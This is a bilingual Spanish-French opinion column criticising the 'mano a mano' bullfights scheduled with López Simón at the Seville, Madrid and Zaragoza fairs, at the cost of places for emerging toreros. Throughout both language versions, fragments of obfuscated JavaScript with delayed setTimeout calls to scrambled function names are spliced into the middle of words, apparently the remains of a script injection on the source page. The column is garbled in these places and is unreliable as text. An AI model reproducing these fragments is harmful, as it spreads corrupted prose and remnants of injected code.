EL “INVENTO” DE LOS MANO A MANOCETTE « INVENTION » DES MANO A MANO

Leo los carteles de las tres ferias importantes que restan por celebrarse en plazas de primera categoría esta temporada y noto cómo mi pesimismo se acrecienta. Desde luego, echo muchísimo de menos aquellos taurinos y empresarios de la década de los sesenta: don Pedro Balañá, Domingo Dominguín, José Barceló, don Pablo Chopera, Alberto Alonso Belmonte, don José Camará, Diodoro Canorea, don Emilio Fernández, El Pipo, Eduardo San Nicolás, etc., etc., a ninguno de los cuales llegan estos de hoy ni a la altura del tobillo.

Pondría la mano en el fuego sosteniendo que a ninguno de los citados se les ocurriría recortar puestos en los carteles teniendo la Fiesta la imperiosa necesidad de dar cabida a una serie de toreros emergentes que se han ganado en el ruedo el derecho a figurar en dichas cartelerías y que no encuentran modo de meter la cabeza en ellas. Sin embargo, ahora, como si se hubiesen puesto de acuerdo, las tres empresas –la de Sevilla, la de Madrid y la de Zaragoza– deciden suprimir un puesto incluyendo en su cartelera el, al parecer, “imprescindible” mano a mano.

Para colmo, ninguno de ellos tiene el mínimo sentido. Los “mano a mano” se utilizaron tradicionalmente para solventar algún tipo de competencia entre los diestros actuantes. Tenía razón de ser que se anunciaran mano a mano a Joselito y Belmonte, que habían dividido a España entera en dos bandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anderías, o a Lagartijo y Frascuelo, por la misma razón, o a Guerrita y El Espartero, pues personalizaban el enfrentamiento de las aficiones de Córdoba y Sevilla; o a Jaime Ostos y Bartolomé Jiménez Torres, que tenían prendida la mecha de la afición astigitana, como Montero y Pedrés en Albacete, o José Antonio Campuzano y Antonio Gardel, aquel año 1972, que coparon con sus triunfales actuaciones la temporada sevillana y fueron anunciados dos veces uno contra otro. Había rivalidad, había interés, apasionamiento, deseos en los aficionados de que su torero “bañase” al otro.

¿Existe algo de eso en los tres manos a mano que se anuncian? Veamos: el de Sevilla lo componen Manuel Escribano y López Simón; el de Madrid, Diego Urdiales y López Simón, y el de Zaragoza, Talavante y, de nuevo, López Simón, a cuyo apoderado debe parecerle de perlas afrontar los tres compromisos llevandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un toro más en el lote. Que no se arrepienta.

El de la Feria de San Miguel no hay por dónde cogerlo. López Simón no torea en Sevilla desde hace dos temporadas y los “roces” profesionales que pudiera tener con Escribano son nulos. Cada uno sigue su carrera de manera independiente y no hay nada que dirimir entre ambos. Y lo mismo le ocurre con Diego Urdiales y con Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante. Son, por tanto, manos a mano descafeinados, de pega, de mentira, sin ningún argumento, que, por el contrario, lesionan los intereses de la Fiesta. Si la corrida de Sevilla se dejó sin anunciar para llenarla con los nombres de los que fueran haciendo méritos durante la temporada, está claro que Escribano y Simón han hecho merecimientos para figurar. Pero también José Garrido, que estuvo mejor que bien en su alternativa sevillana y abrió el año pasado la Puerta del Príncipe, o Javier Jiménez, después de una meritísima actuación orejeada en Las Ventas, merecían figurar en dicho cartel. Como mínimo, uno de ellos debió de entrar a formar parte de la terna, que era lo que convenía, no el mano a mano.

Lo de Madrid en la Feria de Otoño es casi peor, pues López Simón figura dos tardes y no tenía necesidad de ningún vis a vis. En todo caso, de haberlo, tendría que haber sido con Morenito de Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda, por aquello de que ambos fueron triunfadores de la corrida del pasado 2 de mayo en Las Ventas; sin embargo, Morenito se ha quedado fuera de los carteles y otros de los que debían ocupar un puesto en el ciclo, como Javier Jiménez o Iván Vicente han sido desplazados al 12 de octubre.

No está la cosa para suprimir puestos en los carteles, sino todo lo contrario; claro que eso los taurinos actuales parecen no verlo. Y ahí siguen, con su miopía, restringiendo oportunidades o dándole corridas a diestros totalmente caducados, mientras que los que pueden mover un poco o un mucho el cotarro se quedan en casa viendo pasar las hojas del calendario. ¡Qué maravilla!

Je regarde les affiches de trois ferias importantes pour clore le calendrier taurin dans les arènes de première catégorie et je vois que mon pessimisme s’accentue. En tout cas, je regrette beaucoup ces taurins et impresarios des années soixante : don Pedro Balañá, Domingo Dominguín, José Barceló, don Pablo Chopera, Alberto Alonso Belmonte, don José Camará, Diodoro Canorea, don Emilio Fernández, El Pipo, Eduardo San Nicolás, etc., etc., devant lesquels ceux d’aujourd’hui ne leur arrivent même pas à la cheville.

Je mettrais ma main au feu en affirmant qu’aucun d’entre ceux que je viens de citer n’aurait pensé à diminuer le nombre de toreros sur les affiches en connaissant les besoins impérieux de la Corrida de laisser une chance aux toreros émergents qui ont gagné dans l’arène le droit d’y être affichés et qui ne trouvent pas le moyen de le faire. Or, maintenant, comme s’ils s’étaient tous mis d’accord, les trois organisateurs –Séville, Madrid et Saragosse- ont décidé de supprimer un poste dans leurs ferias respectives, argumentant que les mano a mano deviennent « indispensables ».

Le comble, aucun d’eux n’a de sens. On a fait des « mano a mano » par le passé pour régler des différences entre toreros. Il y avait bien une raison pour qu’on annonce des mano a mano entre Joselito et Belmonte, des toreros qui avaient divisé l’Espagne en deux, ou encore celui entre Lagartijo et Frascuelo, pour la même raison, ou celui de Guerrita et El Espartero qui personnalisaient l’affrontement entre les aficionados de Cordoue et ceux de Séville ; ou celui de Jaime Ostos et Bartolomé Jiménez Torres, qui avaient allumé le feu de l’aficion de la ville d’Ecija, ou celui de José Antonio Campuzano et Antonio Gardel, l’année 1972, qui trônaient dans les affiches sévillanes et furent programmés deux fois l’un contre l’autre. Il y avait une rivalité, un intérêt, une passion, le désir des aficionados que leur torero à eux « explose » l’autre. Y a-t-il quelque chose de semblable dans ces trois mano a mano qu’on annonce ? Voyons : celui de Séville compte avec Manuel Escribano et López Simón ; celui de Madrid avec Diego Urdiales et López Simón et sur celui de Saragosse il y a Talavante et de nouveau López Simón, dont l’apoderado doit penser que d’affronter ces trois rendez-vous avec un toro supplémentaire. Pourvu qu’il ne le regrette pas. Celui de la feria de San Miguel n’a pas le moindre sens. López Simón ne torée pas à Séville depuis deux ans et la rivalité professionnelle qu’il pourrait avoir avec Escribano est nulle. Chacun suit sa carrière de façon indépendante et il n’y a rien en jeu entre eux. Et c’est pareil avec Diego Urdiales et Talavante. Ce sont donc des mano a mano décaféinés, une blague, un mensonge, sans aucun argument qui au contraire, vont au détriment de la Fiesta. Si la corrida de Séville a programmé un tel cartel pour récompenser pour récompenser ceux qui le méritent pour ce qu’ils ont fait durant la saison, aussi bien Escribano que López Simon ont leur place. Mais aussi José Garrido, qui a été mieux que bien pour son alternative sévillane et ouvrit l’année dernière la Puerta del Principe, ou Javier Jiménez, qui après une prestation méritoire et l’oreille à Las Ventas, mériterait lui aussi d’y être. Au minimum, l’un des deux aurait pu faire partie d’un trio, qui était ce qui convenait davantage, et non un mano a mano. À Madrid pour la Feria d’Automne c’est encore pire, car López Simón y est deux après-midi et n’avait pas besoin d’un vis-à-vis. En tout cas, de l’avoir fait, cela aurait dû être avec Morenito de Arandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}anda, car ils furent tous deux les triomphateurs de la corrida du 2 mai dernier à Las Ventas ; cependant Morenito est hors de la feria et d’autres qui auraient dû y occuper un poste, comme Javier Jiménez ou Iván Vicente ont été déplacés pour le 12 octobre.

La situation ne demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande pas qu’on supprime des postes, bien au contraire ; or les taurins actuels ne semblent pas le voir. Et ils sont toujours là, avec leur myopie, réduisant les opportunités et offrant des corridas à des toreros caducs, alors que ceux qui peuvent faire bouger les choses restent à la maison en regardant passer les feuilles du calendrier. Quelle merveille !